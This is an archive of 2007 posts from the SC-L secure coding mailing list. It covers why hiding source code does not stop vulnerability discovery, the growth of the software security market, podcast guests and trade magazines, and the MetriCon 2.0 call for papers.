In-Reply-To: <4628BBE8.29151.A6C9A016@nick.virus-l.demon.co.uk> (Nick
	FitzGerald's message of "Fri, 20 Apr 2007 13:11:04 +1200")
References: <mailman.1.1176998401.9630.sc-l@securecoding.org>
	<4628BBE8.29151.A6C9A016@nick.virus-l.demon.co.uk>
Message-ID: <87fy6ug7er.fsf@mid.deneb.enyo.de>

* Nick FitzGerald:

> You -- and all journalistic and other commentaries I've seen/heard on 
> the increasingly common use of these targetted Office exploits -- miss 
> one very important option, I think; the attacker has access to 
> (partial) source of the closed, supposedly closely-held, proprietary 
> software in question.

<http://www.microsoft.com/presspass/press/2004/sep04/09-19OfficeGSPPR.mspx>

I would expect that various universities have got access to the source
code as well, and several companies.

The times when you couldn't get source code for proprietary,
off-the-shelf software are over.  Welcome to the new world order! 8-)

From gem at cigital.com  Fri Apr 20 16:16:33 2007
From: gem at cigital.com (Gary McGraw)
Date: Fri, 20 Apr 2007 16:16:33 -0400
Subject: [SC-L] How big is the market?
Message-ID: <83B3489DF1064F4E90218770D953D3611972D8@va-mail.cigital.com>

Hi sc-lers,

At s3con this week I gave a keynote about the state of the practice in
software security.  Some of what I said is captured in my darkreading
column this month:

http://www.darkreading.com/document.asp?doc_id=122253&WT.svl=column1_1

There are a couple of things worth noting.  First of all, the article
has some numbers in it that show how the market is growing.  I believe
we attained a $200-275 million level in 2006.  Things look like they are
continuing to grow as well.

Second, this article discusses a few ways for a corporation to get
started with software security, from the kinds of full blown initiatives
that we recommend at Cigital to easier baby steps with badness-ometers
like SPI Dynamics and Watchfire.

Please do what you can to spread the word about this article so that
people outside of our specialty get a feeling for what is happening.
Software security is growing, and the growth is strong and consistent.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com 



From dwheeler at ida.org  Mon Apr 23 12:08:42 2007
From: dwheeler at ida.org (David A. Wheeler)
Date: Mon, 23 Apr 2007 12:08:42 -0400
Subject: [SC-L] Source code hiding doesn't work (was: Re: State Department
 break-in last summer)
Message-ID: <462CDA0A.3040806@ida.org>

Florian Weimer said:
 >The times when you couldn't get source code for proprietary,
 >off-the-shelf software are over.  Welcome to the new world order!  8-)

Amen, and please let me add a few additional comments, because I'm 
afraid a lot of people "outside" don't really understand why this 
"hiding of source code" is a waste of time from a security vulnerability 
point-of-view.  Here are my thoughts on the topic, which I hope some 
other people will agree on.

This notion - that merely "hiding the source code" really prevents 
vulnerabilities from being discovered - is (I believe) nonsense:
* Attackers typically don't need to examine source OR binary.  Just 
sending data to the program, and seeing what it sends back, is often 
revealing enough to find a vulnerability.  This is why "fuzz" testing, 
and sending malicious data to websites, work so well.  Add in tools to 
observe in detail what happens with various inputs & outputs, and/or 
user documentation, and the attacker simply has tons of data to work 
with... they don't NEED more.
* If attackers want to examine something using static analysis, 
examining the binary is often enough.  There are tools that can examine 
binaries for patterns.
* If attackers want to examine source, they can reconstruct it "enough" 
from binaries (using decompilers) to use source-based approaches.  Yes, 
the resulting source code would be hideous to maintain, but an attacker 
doesn't NEED to maintain it.  An attacker just needs to attack the 
program, which is much easier (only one vulnerability needs to be found, 
etc.).
* If they don't want to bother decompiling, they can often buy the 
source code, get a license for it, or steal it from those who have it. 
Lots of vendors make source available.

Note that you can typically buy the binary (or access the website), and 
you can often buy and decompile the binary, so there's typically no 
barrier for the first methods.

Now, there ARE reasons in some cases to hide source code.  I believe 
hiding the source code is all about restricting the ability to MAINTAIN 
a program to a privileged organization, in order to (1) collect payment 
for use as a proprietary program and (2) make it harder for others to 
develop competing products (because they'll have to redo a lot of that 
work).  For _financial_ purposes, such hiding is sensible if you're 
selling a closed-source (proprietary) program.  As long as you're clear 
about THAT being the rationale for hiding source code, you're at least 
being level-headed. But don't confuse that economic rationale with 
providing any _security_ benefits against vulnerabilities in the 
program.  I believe the latter is nonsense.

Hiding the source code to prevent the revelation of vulnerabilities is 
just another form of security by obscurity, and I believe that security 
by obscurity is a horrifically bad basis for security.  Not because it 
can't work - in theory it can - but because it's notoriously difficult 
to TRULY obscure something, and you don't normally know when you've been 
compromised (so when you've been had, you still think you're safe). It's 
so hard to PRACTICALLY implement all the secrecy required in many cases 
that security-by-obscurity is often impractical.

That's REALLY obvious for software.  If you were REALLY serious about 
security through obscurity (hiding information about a system in order 
to protect it from serious adversaries), you'll need to do the following:
* Ensure that only a VERY few can get the source code.  Locked rooms, no 
Internet connectivity for machines with the source code, a few people 
with extensive background checks, no USBs or writable CDs.
* Ensure that only a VERY few people can get the executable files. 
Think ROMs with black goo on them, etc.  Obviously, you can't sell 
binaries to more than a few people, and only after extensive background 
checks of the one running the program (!).
* Ensure that only a VERY few people can send data and receive data back 
from the program.  Think running in a closed facility, with personnel 
you trust controlling the inputs and outputs.  Preferably with 
monitoring systems.

Can you enforce all these requirements using a traditional COTS product, 
either closed or open source?  Don't make me laugh.  You can't set up a 
website or sell an executable file - never mind distribute the source 
code - while still retaining the necessary amount of obscurity for 
"security by obscurity" to have a PRAYER of succeeding.

I think this is why so many people still try to do "security by 
obscurity", even though it keeps failing so spectacularly in typical 
software projects.  In some other fields you can hide the necessary 
information pretty easily, so people with those mindsets try to apply 
the approach to software.  But to work in software, the amount of 
obscurity required is typically impractical; they're mislead into 
thinking that merely hiding the source code is all there is to it, and 
it's not.

Can COTS programs, be they proprietary or open source software, be made 
secure?  Yes.  But "security through obscurity" approaches are 
completely doomed to failure for COTS, because it's economically insane 
to try to develop COTS products while still retaining the amount of 
obscurity necessary for "security by obscurity" to work.  Instead, you 
need to concentrate on techniques that actually produce secure software 
(design to reduce trust, multi-person review, etc.).

In theory this COULD work for in-house software (military software, that 
sort of thing).  But you have to REALLY hide it, which is really hard to 
accomplish.  And one sale of the device "outside" the organization, or 
one insider who releases the information, could suddenly cause horrifica 
vulnerabilities, without anyone realizing it.

Better to avoid having the vulnerabilities in the first place.  The 
trick is to get others to understand that.

--- David A. Wheeler



From James.McGovern at thehartford.com  Mon Apr 23 12:25:22 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Mon, 23 Apr 2007 12:25:22 -0400
Subject: [SC-L] Silver Bullet: Ross Anderson
In-Reply-To: <83B3489DF1064F4E90218770D953D36113F19F@va-mail.cigital.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999938@AD1HFDEXC309.ad1.prod>

Would it be possible for upcoming episodes to have an individual who is directly employed by a Fortune enterprise whose primary business model isn't technology? Way too many software vendors, consultants and folks from academia.

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org]On Behalf Of Gary McGraw
Sent: Friday, April 13, 2007 5:33 PM
To: Mailing List, Secure Coding
Cc: Clark-Fisher, Kathy; Anderson,Ross
Subject: [SC-L] Silver Bullet: Ross Anderson


Hi all,

A faithful reader of sc-l (and a long time silver bullet listener) suggested that I interview Ross Anderson for an episode.   By popular demand, here's Ross:

http://www.cigital.com/silverbullet/show-013/

This episode will appear in an upcoming issue of IEEE Security & Privacy magazine.  S&P co-sponsors Silver Bullet along with Cigital.

As usual, there is some talk about software security in this episode.  Your feedback is welcome!

gem

company www.cigital.com
blog www.cigital.com/justiceleague
book www.swsec.com 


Sent from my treo.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From James.McGovern at thehartford.com  Mon Apr 23 12:29:43 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Mon, 23 Apr 2007 12:29:43 -0400
Subject: [SC-L] How big is the market?
In-Reply-To: <83B3489DF1064F4E90218770D953D3611972D8@va-mail.cigital.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999939@AD1HFDEXC309.ad1.prod>

One thing that I can say is that vendors sometimes are doing themselves a disservice in terms of getting software security to grow even faster. Currently anything that has the word "security" in it automatically gets redirected to information protection types in large enterprises who usually are degrees away from those who actually write source code. A method should be to reach out to the development community via publications such as Java Developers Journal and similar forums.

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org]On Behalf Of Gary McGraw
Sent: Friday, April 20, 2007 4:17 PM
To: SC-L at securecoding.org
Subject: [SC-L] How big is the market?


Hi sc-lers,

At s3con this week I gave a keynote about the state of the practice in
software security.  Some of what I said is captured in my darkreading
column this month:

http://www.darkreading.com/document.asp?doc_id=122253&WT.svl=column1_1

There are a couple of things worth noting.  First of all, the article
has some numbers in it that show how the market is growing.  I believe
we attained a $200-275 million level in 2006.  Things look like they are
continuing to grow as well.

Second, this article discusses a few ways for a corporation to get
started with software security, from the kinds of full blown initiatives
that we recommend at Cigital to easier baby steps with badness-ometers
like SPI Dynamics and Watchfire.

Please do what you can to spread the word about this article so that
people outside of our specialty get a feeling for what is happening.
Software security is growing, and the growth is strong and consistent.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com 


_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From gem at cigital.com  Tue Apr 24 10:50:19 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 24 Apr 2007 10:50:19 -0400
Subject: [SC-L] How big is the market?
Message-ID: <83B3489DF1064F4E90218770D953D361197370@va-mail.cigital.com>

I'm sorry James, but I have to respectfully disagree about the vendor
thing.  Perhaps the tools vendors target the "information protection"
people, but at Cigital we sell services to software execs (in huge
companies) who are way up the food chain. 

Software security is small, and we need to emphasize the growth and get
people interested.  This goes for everyone who reads this list.  To
continue our impressive growth as a field, we need to continue to build.

I do agree with you that people need to write more for developers (but I
hope they pick better places than JDJ to publish in).  Toward that end,
check out the "Building Security In" department in IEEE Security &
Privacy magazine <http://www.computer.org/portal/site/security/>.  Also
check out Brian Chess's new book "Secure Programming with Static
Analysis" when it comes out in June.  However, for the most part, it's
critical to understand that workaday developers can't wrangle enough
budget to tackle software security.

BTW, I posted a reprise to the darkreading column on justice league
today:
http://www.cigital.com/justiceleague/
http://www.darkreading.com/document.asp?doc_id=122253&WT.svl=column1_1

All told, I am very optimistic about our field, but don't think we can
rest on our laurels at all yet.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com 

-----Original Message-----
From: McGovern, James F (HTSC, IT)
[mailto:James.McGovern at thehartford.com] 
Sent: Monday, April 23, 2007 12:30 PM
To: Gary McGraw
Cc: SC-L at securecoding.org
Subject: RE: [SC-L] How big is the market?

One thing that I can say is that vendors sometimes are doing themselves
a disservice in terms of getting software security to grow even faster.
Currently anything that has the word "security" in it automatically gets
redirected to information protection types in large enterprises who
usually are degrees away from those who actually write source code. A
method should be to reach out to the development community via
publications such as Java Developers Journal and similar forums.

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org]On Behalf Of Gary McGraw
Sent: Friday, April 20, 2007 4:17 PM
To: SC-L at securecoding.org
Subject: [SC-L] How big is the market?


Hi sc-lers,

At s3con this week I gave a keynote about the state of the practice in
software security.  Some of what I said is captured in my darkreading
column this month:

http://www.darkreading.com/document.asp?doc_id=122253&WT.svl=column1_1

There are a couple of things worth noting.  First of all, the article
has some numbers in it that show how the market is growing.  I believe
we attained a $200-275 million level in 2006.  Things look like they are
continuing to grow as well.

Second, this article discusses a few ways for a corporation to get
started with software security, from the kinds of full blown initiatives
that we recommend at Cigital to easier baby steps with badness-ometers
like SPI Dynamics and Watchfire.

Please do what you can to spread the word about this article so that
people outside of our specialty get a feeling for what is happening.
Software security is growing, and the growth is strong and consistent.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com 


_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc -
http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC
(http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


************************************************************************
*
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution
is
strictly prohibited.  If you are not the intended recipient, please
notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
************************************************************************
*




From gem at cigital.com  Tue Apr 24 11:00:32 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 24 Apr 2007 11:00:32 -0400
Subject: [SC-L] Silver Bullet: Ross Anderson
Message-ID: <83B3489DF1064F4E90218770D953D361197374@va-mail.cigital.com>

Hi James,

Put in such a positive fashion, how could I disagree?!  Here's the list
of victims so far.  I think you'll find as many commercial people on
this list as academics:
1. Avi Rubin
2. Dan Geer
3. Marcus Ranum
4. Dana Epp
5. Ed Felten
6. Michael Howard
7. John Stewart
8. Brian Chess
9. Bruce Schneier
10. Fortify TAB
11. Dorothy Denning
12. Becky Bace
13. Ross Anderson

All of the mp3's can be found here: http://www.cigital.com/silverbullet/

What you won't find is consumers of security technology or software
security services.  That's because Silver Bullet is mostly about
security thought leaders.  I have been thinking about doing a "business"
version of silver bullet focused more around Cigital customers
(including the kinds of people you are asking for).  Maybe I'll give
that a shot soon.  It'll probably be called something else though...

gem 

company www.cigital.com
blog www.cigital.com/justiceleague
book www.swsec.com 



-----Original Message-----
From: McGovern, James F (HTSC, IT)
[mailto:James.McGovern at thehartford.com] 
Sent: Monday, April 23, 2007 12:25 PM
To: Gary McGraw; Mailing List, Secure Coding
Cc: Clark-Fisher, Kathy; Anderson,Ross
Subject: RE: [SC-L] Silver Bullet: Ross Anderson

Would it be possible for upcoming episodes to have an individual who is
directly employed by a Fortune enterprise whose primary business model
isn't technology? Way too many software vendors, consultants and folks
from academia.

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org]On Behalf Of Gary McGraw
Sent: Friday, April 13, 2007 5:33 PM
To: Mailing List, Secure Coding
Cc: Clark-Fisher, Kathy; Anderson,Ross
Subject: [SC-L] Silver Bullet: Ross Anderson


Hi all,

A faithful reader of sc-l (and a long time silver bullet listener)
suggested that I interview Ross Anderson for an episode.   By popular
demand, here's Ross:

http://www.cigital.com/silverbullet/show-013/

This episode will appear in an upcoming issue of IEEE Security & Privacy
magazine.  S&P co-sponsors Silver Bullet along with Cigital.

As usual, there is some talk about software security in this episode.
Your feedback is welcome!

gem

company www.cigital.com
blog www.cigital.com/justiceleague
book www.swsec.com 


Sent from my treo.


************************************************************************
*
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution
is
strictly prohibited.  If you are not the intended recipient, please
notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
************************************************************************
*




From James.McGovern at thehartford.com  Tue Apr 24 11:17:20 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Tue, 24 Apr 2007 11:17:20 -0400
Subject: [SC-L] How big is the market?
In-Reply-To: <83B3489DF1064F4E90218770D953D361197370@va-mail.cigital.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB460399994A@AD1HFDEXC309.ad1.prod>

Gary, I do at some level agree in terms of quality of publication. My perspective though is from an large enterprise perspective whose primary business model isn't about technology and the magazines that folks do read especially in the development community. A quick informal survey tells me that absolutely zero of my peers read IEEE (note I am a subscriber).

 Part of the problem may be the fact that us enterprise folks are bombarded with free magazines and cannot justify spending money to subscribe to ones such as the IEEE. I am merely suggesting some diversification for folks that don't pay for magazines.

-----Original Message-----
From: Gary McGraw [mailto:gem at cigital.com]
Sent: Tuesday, April 24, 2007 10:50 AM
To: McGovern, James F (HTSC, IT)
Cc: SC-L at securecoding.org
Subject: RE: [SC-L] How big is the market?


I'm sorry James, but I have to respectfully disagree about the vendor
thing.  Perhaps the tools vendors target the "information protection"
people, but at Cigital we sell services to software execs (in huge
companies) who are way up the food chain. 

Software security is small, and we need to emphasize the growth and get
people interested.  This goes for everyone who reads this list.  To
continue our impressive growth as a field, we need to continue to build.

I do agree with you that people need to write more for developers (but I
hope they pick better places than JDJ to publish in).  Toward that end,
check out the "Building Security In" department in IEEE Security &
Privacy magazine <http://www.computer.org/portal/site/security/>.  Also
check out Brian Chess's new book "Secure Programming with Static
Analysis" when it comes out in June.  However, for the most part, it's
critical to understand that workaday developers can't wrangle enough
budget to tackle software security.

BTW, I posted a reprise to the darkreading column on justice league
today:
http://www.cigital.com/justiceleague/
http://www.darkreading.com/document.asp?doc_id=122253&WT.svl=column1_1

All told, I am very optimistic about our field, but don't think we can
rest on our laurels at all yet.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com 


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From gem at cigital.com  Tue Apr 24 11:23:51 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 24 Apr 2007 11:23:51 -0400
Subject: [SC-L] How big is the market?
Message-ID: <83B3489DF1064F4E90218770D953D36119737B@va-mail.cigital.com>

Got it.  I like dr. dobbs OK.  Do you see that one around?  It has
software security content every once in a while.  What others do you
think would be a good target?

What do the rest of you guys think?

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com 

 

-----Original Message-----
From: McGovern, James F (HTSC, IT)
[mailto:James.McGovern at thehartford.com] 
Sent: Tuesday, April 24, 2007 11:17 AM
To: Gary McGraw
Cc: SC-L at securecoding.org
Subject: RE: [SC-L] How big is the market?

Gary, I do at some level agree in terms of quality of publication. My
perspective though is from an large enterprise perspective whose primary
business model isn't about technology and the magazines that folks do
read especially in the development community. A quick informal survey
tells me that absolutely zero of my peers read IEEE (note I am a
subscriber).

 Part of the problem may be the fact that us enterprise folks are
bombarded with free magazines and cannot justify spending money to
subscribe to ones such as the IEEE. I am merely suggesting some
diversification for folks that don't pay for magazines.

-----Original Message-----
From: Gary McGraw [mailto:gem at cigital.com]
Sent: Tuesday, April 24, 2007 10:50 AM
To: McGovern, James F (HTSC, IT)
Cc: SC-L at securecoding.org
Subject: RE: [SC-L] How big is the market?


I'm sorry James, but I have to respectfully disagree about the vendor
thing.  Perhaps the tools vendors target the "information protection"
people, but at Cigital we sell services to software execs (in huge
companies) who are way up the food chain. 

Software security is small, and we need to emphasize the growth and get
people interested.  This goes for everyone who reads this list.  To
continue our impressive growth as a field, we need to continue to build.

I do agree with you that people need to write more for developers (but I
hope they pick better places than JDJ to publish in).  Toward that end,
check out the "Building Security In" department in IEEE Security &
Privacy magazine <http://www.computer.org/portal/site/security/>.  Also
check out Brian Chess's new book "Secure Programming with Static
Analysis" when it comes out in June.  However, for the most part, it's
critical to understand that workaday developers can't wrangle enough
budget to tackle software security.

BTW, I posted a reprise to the darkreading column on justice league
today:
http://www.cigital.com/justiceleague/
http://www.darkreading.com/document.asp?doc_id=122253&WT.svl=column1_1

All told, I am very optimistic about our field, but don't think we can
rest on our laurels at all yet.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com 


************************************************************************
*
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution
is
strictly prohibited.  If you are not the intended recipient, please
notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
************************************************************************
*




From James.McGovern at thehartford.com  Tue Apr 24 11:48:25 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Tue, 24 Apr 2007 11:48:25 -0400
Subject: [SC-L] How big is the market?
In-Reply-To: <83B3489DF1064F4E90218770D953D36119737B@va-mail.cigital.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999953@AD1HFDEXC309.ad1.prod>

I just conducted a super-official study of what my peers are reading by walking a total of five aisles within a very large building. Here are a list of magazines on folks desk:

- Infoworld
- Java Developers Journal
- Insurance & Technology
- DMReview
- Intelligent Enterprise
- CIO
- Insurance Networking News

Likewise, I asked several folks as to whether they subscribe to Dr. Dobbs and the answer was zero. Interestingly enough, I also checked with other folks and there seems to be more memberships in our architecture group with the ACM over IEEE.

-----Original Message-----
From: Gary McGraw [mailto:gem at cigital.com]
Sent: Tuesday, April 24, 2007 11:24 AM
To: McGovern, James F (HTSC, IT)
Cc: SC-L at securecoding.org
Subject: RE: [SC-L] How big is the market?


Got it.  I like dr. dobbs OK.  Do you see that one around?  It has
software security content every once in a while.  What others do you
think would be a good target?

What do the rest of you guys think?

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com 

 

-----Original Message-----
From: McGovern, James F (HTSC, IT)
[mailto:James.McGovern at thehartford.com] 
Sent: Tuesday, April 24, 2007 11:17 AM
To: Gary McGraw
Cc: SC-L at securecoding.org
Subject: RE: [SC-L] How big is the market?

Gary, I do at some level agree in terms of quality of publication. My
perspective though is from an large enterprise perspective whose primary
business model isn't about technology and the magazines that folks do
read especially in the development community. A quick informal survey
tells me that absolutely zero of my peers read IEEE (note I am a
subscriber).

 Part of the problem may be the fact that us enterprise folks are
bombarded with free magazines and cannot justify spending money to
subscribe to ones such as the IEEE. I am merely suggesting some
diversification for folks that don't pay for magazines.

-----Original Message-----
From: Gary McGraw [mailto:gem at cigital.com]
Sent: Tuesday, April 24, 2007 10:50 AM
To: McGovern, James F (HTSC, IT)
Cc: SC-L at securecoding.org
Subject: RE: [SC-L] How big is the market?


I'm sorry James, but I have to respectfully disagree about the vendor
thing.  Perhaps the tools vendors target the "information protection"
people, but at Cigital we sell services to software execs (in huge
companies) who are way up the food chain. 

Software security is small, and we need to emphasize the growth and get
people interested.  This goes for everyone who reads this list.  To
continue our impressive growth as a field, we need to continue to build.

I do agree with you that people need to write more for developers (but I
hope they pick better places than JDJ to publish in).  Toward that end,
check out the "Building Security In" department in IEEE Security &
Privacy magazine <http://www.computer.org/portal/site/security/>.  Also
check out Brian Chess's new book "Secure Programming with Static
Analysis" when it comes out in June.  However, for the most part, it's
critical to understand that workaday developers can't wrangle enough
budget to tackle software security.

BTW, I posted a reprise to the darkreading column on justice league
today:
http://www.cigital.com/justiceleague/
http://www.darkreading.com/document.asp?doc_id=122253&WT.svl=column1_1

All told, I am very optimistic about our field, but don't think we can
rest on our laurels at all yet.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com 


************************************************************************
*
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution
is
strictly prohibited.  If you are not the intended recipient, please
notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
************************************************************************
*




From secureCoding2dave at davearonson.com  Tue Apr 24 13:06:54 2007
From: secureCoding2dave at davearonson.com (SC-L Subscriber Dave Aronson)
Date: Tue, 24 Apr 2007 17:06:54 +0000
Subject: [SC-L] How big is the market?
Message-ID: <W343211178558761177434414@webmail1>

McGovern, James F \(HTSC, IT\) [mailto:James.McGovern at thehartford.com] writes:

 > I just conducted a super-official study of what my peers are reading by
 > walking a total of five aisles within a very large building. Here are a
 > list of magazines on folks desk:
 > 
 > - Infoworld
 > - Java Developers Journal
 > - Insurance & Technology
 > - DMReview
 > - Intelligent Enterprise
 > - CIO
 > - Insurance Networking News

I'd also suggest Software Development, and maybe Information Security.

-Dave

-- 
Dave Aronson
"Specialization is for insects."  -Heinlein
Work: http://www.davearonson.com/
Play: http://www.davearonson.net/



From James.McGovern at thehartford.com  Tue Apr 24 14:27:45 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Tue, 24 Apr 2007 14:27:45 -0400
Subject: [SC-L] NYC Security
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4603999953@AD1HFDEXC309.ad1.prod>
Message-ID: <773F863A6009244B87E6E866AFC7DB460399995F@AD1HFDEXC309.ad1.prod>

FYI. Awhile back I mentioned the Technology Managers Forum in which I am a participant. The agenda is finalized and secure coding practices was the number one topic: http://www.techforum.com/sf2007_1/index.html For product vendors and consulting firms that want access to key decision makers, this would be a great opportunity to get a booth. 

Anyway, hope to run across folks from this list here. Nothing is better than face-to-face conversations...


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From James.McGovern at thehartford.com  Tue Apr 24 16:26:37 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Tue, 24 Apr 2007 16:26:37 -0400
Subject: [SC-L] Magazines
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4603999953@AD1HFDEXC309.ad1.prod>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999963@AD1HFDEXC309.ad1.prod>

FYI. Other magazines read within a large enterprise:

- MSDN Magazine
- SC Magazine
- Oracle's Profit Magazine


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From gunnar at arctecgroup.net  Tue Apr 24 17:45:31 2007
From: gunnar at arctecgroup.net (Gunnar Peterson)
Date: Tue, 24 Apr 2007 16:45:31 -0500
Subject: [SC-L] MetriCon 2.0 CFP
Message-ID: <C253E4AB.90DA%gunnar@arctecgroup.net>

Last year's conference, MetriCon 1.0 featured a software security metrics
track ( http://securitymetrics.org/content/Wiki.jsp?page=Metricon1.0),
including:

* A Metric for Evaluating Static Analysis Tools - Chess & Tsipenyuk, Fortify
* An Attack Surface Metric - Manadhata & Wing, Carnegie-Mellon
* "Good enough" Metrics - Epstein, WebMethods
* Software Security Patterns and Risk - Heyman & Huygens, U of Leuven
* Code Metrics - Chandra, Secure Software

-gp

Second Workshop on Security Metrics (MetriCon 2.0) ? Call for Papers
MetriCon 2.0 CFP

August 7, 2007 Boston, MA

Overview

Do you cringe at the subjectivity applied to security in every manner? If
so, MetriCon 2.0 may be your antidote to change security from an artistic
"matter of opinion" into an objective, quantifiable science. The time for
adjectives and adverbs has gone; the time for hard facts and data has come.

MetriCon 2.0 is intended as a forum for lively, practical discussion in the
area of security metrics. It is a forum for quantifiable approaches and
results to problems afflicting information security today, with a bias
towards practical, specific implementations. Topics and presentations will
be selected for their potential to stimulate discussion in the Workshop.

MetriCon 2.0 will be a one-day event, Tuesday, August 7, 2007, co-located
with the 16th USENIX Security Symposium in Boston, MA, USA
(http://www.usenix.org/events/sec07/). Beginning first thing in the morning,
with meals taken in the meeting room, and extending into the evening.
Attendance will be by invitation and limited to 60 participants. All
participants will be expected to "come with findings" and be willing to
address the group in some fashion, formally or not. Preference given to the
authors of position papers/presentations who have actual work in progress.

Each presenter will have 10-15 minutes to present his or her idea, followed
by 15-20 minutes of discussion with the workshop participants. Panels and
groups of related presentations may be proposed to present different
approaches to selected topics, and will be steered by what sorts of
proposals come in response to this Call.


Goals and Topics

The goal of the workshop is to stimulate discussion of and thinking about
security metrics and to do so in ways that lead to realistic, early results
of lasting value. Potential attendees are invited to submit position papers
to be shared with all. Such position papers are expected to address security
metrics in one of the following categories:

Benchmarking
Empirical Studies
Metrics Definitions
Financial Planning
Security/Risk Modeling
Tools, Technologies, Tips, and Tricks
Visualization
Practical implementations, real world case studies, and detailed models will
be preferred over broader models or general ideas.

How to Participate

Submit a short position paper or description of work done/ongoing. Your
submission must be no longer than five(5) paragraphs or presentation slides.
Author names and affiliations should appear first in/on the submission.
Submissions may be in PDF, PowerPoint, HTML, or plaintext email and must be
submitted to MetriCon AT securitymetrics.org.

Presenters will be notified of acceptance by June 22, 2007 and expected to
provide materials for distribution by July 22, 2007. All slides and position
papers will be made available to participants at the workshop. No formal
proceedings are intended. Plagiarism constitutes dishonesty. The organizers
of this Workshop as well as USENIX prohibit these practices and will take
appropriate action if dishonesty of this sort is found. Submission of
recent, previously published work as well as simultaneous submissions to
multiple venues is acceptable but please so indicate in your proposal.

Location

MetriCon 2.0 will be co-located with the 16th USENIX Security Symposium
(Security ?07). (http://www.usenix.org/events/sec07/)
Cost

$200 all-inclusive of meeting space, materials preparation, and meals for
the day.
Important Dates

Requests to participate: by May 11, 2007
Notification of acceptance: by June 22, 2007
Materials for distribution: by July 22, 2007
Workshop Organizers

Fred Cohen, Fred Cohen & Associates
Jeremy Epstein, webMethods
Dan Geer, Geer Risk Services
Andrew Jaquith, Yankee Group
Elizabeth Nichols, ClearPoint Metrics, Co-Chair
Gunnar Peterson, Arctec Group, Co-Chair
Russell Cameron Thomas, Meritology




